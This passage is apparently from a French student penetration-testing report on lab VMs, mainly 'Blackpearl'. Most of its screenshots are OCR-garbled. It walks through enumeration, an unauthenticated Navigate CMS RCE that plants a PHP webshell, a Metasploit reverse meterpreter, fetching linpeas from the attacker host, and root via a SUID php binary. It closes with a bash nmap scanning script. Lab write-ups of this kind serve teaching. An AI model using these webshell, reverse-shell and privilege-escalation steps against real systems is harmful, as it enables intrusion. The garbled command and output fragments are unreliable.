Restart-Computer -Force

Et voila nous avons un acces root a la machine:

) 1234
listening on [any 10.
connect to [192.1¢ . ] from (UNKENOWN) [192.168.1.230] 49670
Microsoft Windows [ slon 10.0.1904
(c) Microsoft Corporation. All rights reserved.

"“Windows'system32>whoami

nt authorityh\system

C:\Windowshsystem3

IV - Cinquieme VM (Blackpearl) :

Pour commencer, a I'aide de nmap, on va découvrir les adresses présentes sur le
réseau :

- .100.0/24
EE

N ( https://nmap.org ) at 2025-81-15 B3:14 ES
r 192 .168.180.1

(QEMU wirtual NIC)



On voit donc que I'adresse IP de la VM a pentester est 192.168.100.11 étant donné que la
kali est la 192.168.100.10. On peut donc scanner les ports ouverts de cette machine et on
voit ceci :

Not shown:
STATE SE

to ngino
i 1.14

rmed. 1 i resul nma /submit/
(1 host up)
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On peut voir le port 80 donc ¢a veut dire qu’on peut accéder a un site web :

BN o6 ao0s|ac

a1 2 3

Welcome to nginx! e
C @ O @ 192168.100.11

KaliLinux g KaliTools @ KaliDocs ! Kali Forums X Kali NetHunter # Exploit-DB % Google Hacking DB /) OffSec

Welcome to nginx!

If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.

For online documentation and support please refer to nginx.org.
Commercial support is available at nginx.com

Thank you for using nginx.

n@ o B@E G crorome

La page principale de ce site ne donne pas d’informations étant donné qu’il est composé
seulement de la page de base de nginx. On va donc faire un dirbuster pour voir si d’autres
pages sont accessibles :

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

http://192.168.100.11:80/

@ Scan Information ' [Results - List View: Dirs: 0 Files: 0]' Results - Tree View ', /\ Errors: 0

Type | Found | Response | Size
Dir / 200 914

Current speed: 0 requests/sec (Select and right click for more options)
Average speed: (T) 302, (C) 269 requests/sec

Parse Queue Size: 0 Current number of running threads: 10
Total Requests: 441093/441097 | | Change |

Time To Finish: 00:00:00
| <3 Back || 00 Pause O | Report

DirBuster Stopped
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Il aici été fait en type medium mais n’a détecté aucune page donc on va maintenant essayer
avec gobuster qui donne parfois un résultat différent :

— ir tt ‘ 68.100.11 -w fusr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

GET

1@
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
404

gobuster

On voit donc que le gobuster donne un résultat qui est le /secret donc on va I'ajouter a notre
lien. Une fois ceci fait cela lance un téléchargement d’un fichier texte contenant ceci :

S mEP O]

[ ~[Downloads/secret -

File Edit Search View Document Help
B & EC x o

1 OMG you got reet !

2

3

4 Just kidding... search somewhere else. Directory busting won't give anything.
5

6 <This message is here so that you don't waste more time directory busting this particular website.>

C’est donc un message qui nous dit de ne pas continuer a utiliser les outils comme dirbuster
ou gobuster pour trouver des informations car cela ne nous donnera pas plus d’infos.
Cependant, avec la signature Alek a la fin du message, on peut supposer qu’un utilisateur
nommé Alek est présent dans le systéme a attaquer. Le port SSH étant ouvert, on peut
tester une connexion avec les mots de passes les plus courants comme admin ou azerty ou
123 mais aucun d’eux ne fonctionnent comme le prouve cette capture :
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.168.100.11
of host '1932 '2'."'." (192.168.100.11) 't be established.
ey fingerprint is ¢ v YUalOZe6+ITga jBYb1M+PLK3wW7TY.
r 1s not known by any other

'no/[fingerprint])? yes
319 ) to the 1ist of known hosts

=
=

=
I—""l

lbh lﬂﬂ ll
rmission dHﬂlHd pl
i L11°

(0] —'u1 —

ed (publickey,password).

Ne trouvant plus rien a faire, nous avons fait des recherches Internet sur des possibilités
d’attaque sur SSH ou DNS mais au final aucun résultat concret utilisable n’a été trouvé. On
est donc retourné sur le site web pour voir si une autre information ne pouvait pas étre
récupérée que nous avions loupée. Ainsi, on a inspecté le code source de la page et avons
VU Ceci :

elcome to nginx!</hl=

On voit donc une adresse mail qui nous donne en plus un nom de domaine donc on va
essayer de I'attaquer. Aprés recherches, on trouve 'outil The Harvester qui permet de voir si
une adresse mail est utilisée sur un autre service donc on va l'utiliser pour obtenir d’autres
informations :
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L from

for
L from
L from
L from

¢ |'
L from /hom
L from /hom

for
L from

|..
L from

Cependant cet outil ne donnera jamais de résultat donc on abandonnera I'exploit aprés 5
minutes. En reprenant les ports ouverts on voit qu’il y a du DNS et comme on a récupéré un
nom de domaine on peut faire des tests pour voir s’il y a des enregistrements

kpearl.tcm

Got answer:
—»HEADER®— opcode: QUERY, status: OMAIN, id: 51
flags: qr rd ra ad; QUERY: 1, ANSWER: @, AUTHORITY: ADDITIONAL: 1

isign-grs.com.
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= opcode : ta 595
;3 flags: gr rd ra ad; Q S @, AUTHORITY: 1, ADDITIONAL: 1

; OPT PSEUDOSECTION:
ion: f ; udp: 512
ized by root-nx-trust)

IN TXT

a.root-servers.net. nstld.verisign-grs.com. 011400 1800 900 604800 86400

On voit avec ces captures qu’il n’y a aucun enregistrements MX ni TXT donc on ne peut pas
utiliser le DNS. Une autre possibilité est d'ajouter le nom de domaine avec I'adresse IP dans
le fichier /etc/hosts de la kali pour essayer d’accéder a un autre site :

ﬂ kali-linux-2024.4-virtualbox-amd6d [En fonction] - Oracle VM VirtualBox

File Actions Edit View Help

localhost
kali

localhost ip6-localhost ip6-loopback
ip6-allnodes

; ip6-allrouters

.12@.11 blackpearl.tcm

En faisant ceci, on peut désormais essayer de se connecter au site http://blackpearl.tcm et
on arrive sur la page suivante :
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A O30 | & G

Kali Linux # KaliTools # Kali Docs ¥ Kali Forums X Kali NetHunter 4 Exploit-DB % Google Hacking DB

PHP Version 7.3.27-1~deb10ul

System Linux blackpearl 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
Build Date Feb 13 2021 16:31:40

Server API FPM/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc/php/7.3/fpm

Loaded Configuration F Jetc/php/7.3/fpm/php.ini
Scan this dir for additional . Jetc/php/7.3/fpm/conf.d
Additional .ini files parsed Jetc/php/7.
conf.d/10-pdo.ini, /etc/php/7.

h ype.ini, etc/php/T.

ini, fetc/php/7. ini, fetc/php/7.3/fpm/
-xml.ini, /etc/php/T. lendarini, /e

P ini, etc/php/7.
exif.ni, fetc/php/7. i, fetc/phy ini, etc/phy
conf.d/20-gd.ini, /etc/php/7.3/fpmyconf.d/20-gettext.ini, fetc/php/7.3/fpmjconf.d/
h ini, fetc/phpyT. bstring.ini, /etc/phy

3
/20-iconvni, fetc/
.

mysqli.ni, etc/phy

do_mysal.ini, fetc/php/7.

P . fetc]
ini, fetc/php/7.

ini, /etc/php/7.

php
shmop.ini, /etc/php/7.
php/

Lini, fetc/php/7. kets.ini, fetc/
.ini, fetc/php/7. y: ini, fetc/php/7.3/fpm/

ini, fetc/phpr. , /etc/php/7. ini, /
etc/php/7.3/fpm/conf.d/20-xmireader.ni, /etc/php/7.3/fpm/conf.d/20-xmiwriter.ni, fetc/php/7.3/fpm/
cont.d/20-xs!.ini, fetc/php/7.3/fpmjcon.d/20-zip.ini

PHP AP 20180731
PHP Extension 20180731

Zend Extension 320180731

Zend Extension Build API32018073LNTS

PHP Extension Build API20180731LNTS

Debug Build no

Thread safety disabled

Zend signal Handling enabled

Zend Memory Manager enabled

Zend Multibyte Support provided by mbstring

1PV6 Support enabled

Drace Support available, disabled

Registered PHP Streams https, ftps, compress.zlib, php. fle, glob. data, http, ftp. phar., zip
Registered Stream Socket Transports tcp, udp, unix, udg, ssl, tis, tsv1.0, tisv1.1, tisvl.2

BOR@o BREEE . orom=

Pour voir si on peut accéder a d’autres pages a partir de ce site, on va refaire un dirbuster
medium :

OWASP DirB 0-R b App on B o q

File Options About Help

http:/fblackpearl.tcm: 80/
@ scan Information ', Results - List View: Dirs: 35 Files: 10, Results - Tree View | A\ Errors: 0}

Testing for dirs in / [ 10% | (o] |
Testing for files in / with extention .php [ 10% | |E| (O
Testing for dirs in /navigatef [ 2% | |E| | O
Testing for files in fnavigate/ with extention .php [ 2% | |E| (g0
Testing for dirs in /navigate/img/ | 2% | |E| (RE
Testing for files in fnavigate/img/ with extention .php [ 2% | |E| |E
0 = DN
Current speed: 364 requests/sec (Select and right click for more options)

Average speed: (T) 298, (C) 323 requests/sec

Parse Queue Size: 0 Current number of running threads: 10
Total Requests: B2048/6310945 | | Change |

Time To Finish: 05:21:24

| <& Bacl || 00 Pause || O stop |

Starting dirffile list based brute for.., [navigate/lib/packages/about/strona_17.php
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On voit donc qu’il y a un /navigate qui existe et qui est accessible (On ne poussera pas le
dirbuster jusqu’a la fin car le temps était déja a 5h21 et ne faisait qu’augmenter). Lors de la
connexion a la page /navigate, on arrive sur ceci :

iEPoOrl-| 2 3

Navigate CMS | +

[P O @ blackpearl.tem

Kali Linux § Kali Tools ¢ KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

i : navigate Password

wnwnavigateem:

Remember me

Enter Forgot password?

Navigate CMS v2.8, © 2025

Do Bl R @ @ cmorom

La premiére chose testée est de se connecter avec des noms d’utilisateurs basiques comme
admin admin ou Alek admin ou Alek Alek mais aucunes de ces paires logins/mots de passe
ne fonctionnent donc on va essayer “forgotten password” afin de voir s'il est possible de
récupérer un mot de passe :

Forgot password? *x

Enter your Navigate CMS username or e-mail

address

alek@blackpearl.tcm

Cowlan't find this username or e-mail address

ok

Cependant, le nom d’utilisateur Alek et I'adresse mail alek@blackpearl.tcm ne donne pas de
résultat. On va donc se concentrer sur I'information en bas a droite du site qui indique la
version du site navigate qui est la 2.8, ce qui nous permet de faire des recherches sur
Internet pour I'exploit. La premiére chose trouvée est cet exploit sur github

(https://github.com/Ox4r2/Navigate-CMS-RCE-Unauthenticated-). On commence donc par
télécharger le script Navigate RCE.
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t.com) .
ntent.com)

] 1008 —.-KB/s in 8.04s

.sh' saved [1000/1000]

On peut donc désormais I'exécuter sur sur blackpearl.tcm ce qui fait que I'on obtient un
webshell (il faut avoir pris soin de modifier les droits d'exécution du script avant)

blackpearl.tcm/
sion: e@lrk2sgnvih9o9mr

Load:
<?php system($_GET['cmd']);?>

Subiendo Exploit ...

Obteniendo webshell ...

bshell$ id
uid=33( www-data) i ) wan —da
webshell$ |}

Une fois que I'on a le webshell, on essaye d’entrer la derniere commande indiquer par le site
mais ¢a ne fonctionne pas :

BemPor-| - 3 4 E o6 A0 |ac

File Actions Edit View Help

lali@kali: ~
URL: http:
File Actions Edit View

C 000
Listening on [any] 9000 ...
rc

listening on [any] 9000 ..

"):"“[[D"[[D*[[D*[[D*[[D*[[D*[[D*[[D*[[D"[[D"[[D"C

blackpearl.tcm
URL: http: < cm

1tqijohokaj

L@ o 1 E@E G orom
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Les recherches par Internet ne se montrant pas concluante, on va simplement aller voir sur
metasploit s’il y en a une :

msf6 > search navigate

Matching Medules

Name Disclosure Date Rank Check Description

-01-08 llent No irefox 17.8.1 Flash Privileged Code Injection
2016-10-06 manual

normal No Mac 0S ri fi a x Escape
cell Yes Navigate aut ticated Remote Code Execution

For nple 1

d configured, defaulting to php/meterpreter/reverse_tcp
>

On va donc mettre les options adéquat qui sont I'adresse IP de la machine ciblée et le nom
de domaine sur lequel se situe le navigate. Une fois ceci bien configuré, on peut lancer
I'exploit :

> set RHOST 192
.190.11
3.11:80 - The t:

arl.tcm

P.11:8@ - The target i

TCP handler on 192.168.100.10: 444

139 -0500

Cet exploit nous offre donc un shell meterpreter a partir duquel on peut créer un shell sur la
machine cible avec la commande shell comme on I'a fait pour d’autres machines auparavant

oCcess

Channel 1
whoami
Tmamnad — d ata
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On est donc maintenant sur un shell www-data sur lequel on va installer linpeas pour
pouvoir mettre en place une escalation de privilege. On va alors l'installer de la méme fagon
que précédemment sur la troisieme machine en créant un serveur temporaire sur la kali :

Hunter Exploit-DB Google Hacking DB OffSec
] kali@kali: ~ File Actions Edit View Help

€ File Actions Edit View Help

navigate_RCE.sh

80.10/1inpeas.sh

5 n refused. [l
-100.10 A B Downloads
8 h .1 000/1inpeas.sh

-[~/Dounloads

- [~/Downloads

~[~/Desktop

HTTP/1.1" 200 -

On peut donc maintenant utiliser linpeas sur la machine cible pour détecter les vulnérabilités
mais celui ci ne détecte aucun code rouge sur fond jaune donc on va devoir regarder les

codes rouges.
Le premier code rouge intéressant est celui d’'une CVE que nous avons donc recherché :

Description

In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a
ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship,
where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime
issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is
exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround

in some environments.

Metrl CcS CVSS Version 4.0 CVSS Version 3.x CVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 3.x Severity and Vector Strings:

\il 'I‘ NIST: NVD BaseScore:- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Cette description indique qu’il est possible de réaliser une escalation de privilége donc on va
essayer de la mettre en place avec ce lien github qui nous donne une explication de la

réalisation (https://github.com/jas502n/CVE-2019-13272) :
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found
ickpearl.tcm/navig

nission
nd), ar

On se rend compte qu’il n’est pas possible d’utiliser gcc qui est un compilateur de langage C
ce qui fait que I'exploit n'est pas possible a utiliser.
Il y a ensuite une autre CVE détectée par linpeas mais que I'on a pas réussi a exploiter :

Description

Aheap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain
privileges or cause a DoS (via heap memory corruption) through user name space

.
M etrl cs CVSS Version 4.0 CVSS Version 3.x CVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.
CVSS 3.x Severity and Vector Strings:

ﬁ' i NIST: NVD BaseScore:- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UIN/S:U/C:H/I:H/A:H

D CNA: Google Inc. Base Score: [JESHIGH] Vector: CVSS:3.1/AV:A/AC:H/PR:N/UIN/S:C/C:H/I:H/AH

Le prochain code rouge qui a attiré notre attention est celui ci :

Checking sudo t

ptrace protection (@), so sudo tokens could be abused

Cette ligne disant que ptrace protection est désactivé indique qu’un processus peut en
contréler un autre, cependant les exploits trouver concernant ceci utilisent également gcc et
ne peuvent pas étre mis en place, celui ci par exemple trouvé sur github :
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gco -0 ptrex ptrex.c i
. [ptrex

Apres avoir passé plein de codes rouges peu intéressant, on arrive sur la section “files with
interesting permissions” qui signifie “fichiers avec des permissions intéressantes” :

with In

SUID

launch-helper

Le premier que I'on retiendra est celui qui indique /usr/bin/php7.3 (Unknown SUID binary!)
qui indique que le SUID est activé sur /usr/bin/php7.3 comme le montre la commande Is :

php7.3

root root 4777728 Feb 13

Le s dans les permissions est ce qui montre le SUID. Il est donc possible de lancer un
reverse shell sur cette machine comme le montre ce site

(https://gtfobins.qgithub.io/gtfobins/php/#suid) :

|suiD

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file
system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p
argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with
an existing SUID binary skip the first command and run the program using its original path.

sudo install -m =xs $(which php) .

CMD="/bin/sh"
.fphp -r "pcntl_exec('/bin/sh’, ['-p']);"
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On peut donc maintenant entrer cette commande en utilisant le /usr/bin/php7.3 afin d’obtenir
un reverse shell :

Jusr/bin/php7.3 -r "pcntl_exec('/bin/sh',['-p']1);"
whoami

root

La commande whoami nous confirme bien que nous sommes root aprés cette manipulation,
le pentest de cette VM est donc terminée et les informations concernant I'utilisateur Alek
n’ont finalement pas eu d'utilités.

Conclusion:

Pour conclure sur cette SAE de pentesting, dans un premier temps nous pouvons
dire que nous avons appris beaucoup de choses en la réalisant. En effet, durant les cours
qui devaient nous préparer a cette SAE, nous avons pu voir la théorie, avec quelques
exercices pratiques. Ici nous avons dd appliquer la théorie a la pratique. On peut voir que
pratiquement toutes les failles que nous avons exploitées sont dues a une négligence
humaine, soit sur la configuration des services soit sur le maintien a jour de services qui
permettent d'éliminer certaines failles de sécurité. En effet, nous avons pu remarquer que
parfois les mots de passe étaient réutilisés donc une fois trouvé il aidaient a I'escalade de
privilége, d’autre fois, un service laissé avec un mot de passe par défaut, ou encore des
services mal configurés laissant I'accés a n'importe qui. Nous pouvons ainsi conclure, a la
fin de cette SAE, que comme on l'entend trés souvent il est important de maintenir ses
logiciels et appareils a jour, cela évite souvent de laisser des failles de sécurité. De plus, il
faut toujours tenter de configurer correctement un service que I'on héberge, en appliquant
les conseils des développeurs mais aussi en analysant bien les problématiques et besoins.
Enfin il est important de changer les mots de passe et de mettre des mots de passe forts. En
effet, plus un mot de passe est fort, moins il sera possible de le déchiffrer.
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Annexe script bash:

Voici notre script bash permettant de scanner toutes les adresses d’un réseau et les ports
ouverts pour chaque adresse, cela crée un fichier ou on va stocker les ports ouverts, un
fichier nommé avec l'adresse IP (par exemple, 192.168.1.1_open_ports.txt).

pour I'exécuter:

./script.sh <network>

#!/bin/bash

# Vérifier si un argument a été fourni

if [ -z "$1" 1; then
echo "Usage: $0 <network>"
exit 1

fi

# Utiliser l'argument comme réseau a scanner
network="3$1"

# Scanner les adresses IP du réseau

echo "Scanning network S$network...'
nmap -sn $network -oG - | awk '/Up$/{print $2}' > live hosts.txt

# Analyser les ports ouverts pour chaque adresse IP trouvée et

stocker les résultats dans des fichiers séparés
echo "Scanning open ports for live hosts..."
while IFS= read -r ip; do
echo "Scanning S$ip..."
nmap -p- $ip -oN "${ip} open ports.txt"
done < live hosts.txt

# Nettoyer le fichier temporaire
rm live hosts.txt

echo "Scan terminé."

Explication:
#!/bin/bash :
e Indique que le script doit étre exécuté avec l'interpréteur Bash.

if [ -z “$1” ]; then echo “Usage: $0 <network>"; exit 1; fi :
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Vérifie si un argument a été fourni. Si ce n’est pas le cas, affiche un message
d’utilisation et termine le script.

network="“$1" :

Assigne I'argument fourni (le réseau a scanner) a la variable network.

echo “Scanning network $network...” :

Affiche un message indiquant que le réseau spécifié est en cours de scan.

nmap -sn network-oG-|awk'/Up/{print $2}’ > live_hosts.txt :

Utilise nmap pour effectuer un scan ping (-sn) du réseau spécifié.

-0G - : Formate la sortie en format grepable.

awk '/Up$/{print $2}' : Filtre les résultats pour obtenir les adresses IP des hétes actifs.
> live_hosts.txt : Stocke les adresses IP des hétes actifs dans un fichier temporaire
live_hosts.txt.

echo “Scanning open ports for live hosts...” :

Affiche un message indiquant que les ports ouverts des hétes actifs sont en cours de
scan.

while IFS=read -r ip; do echo “Scanning $ip...”; nmap -p-
ip—oN"{ip}_open_ports.txt"; done < live_hosts.txt :

Lit chaque adresse IP du fichier live_hosts.ixt.

Pour chaque adresse IP, affiche un message indiquant que 'adresse est en cours de
scan.

Utilise nmap -p- $ip pour scanner tous les ports (-p-) de I'adresse IP.

-oN "${ip}_open_ports.txt" : Stocke les résultats du scan dans un fichier nommé avec
I'adresse IP (par exemple, 192.168.1.1_open_ports.txt).

rm live_hosts.txt :

Supprime le fichier temporaire live_hosts.ixt aprés le scan.

echo “Scan terminé.” :

Affiche un message indiquant que le scan est terminé.
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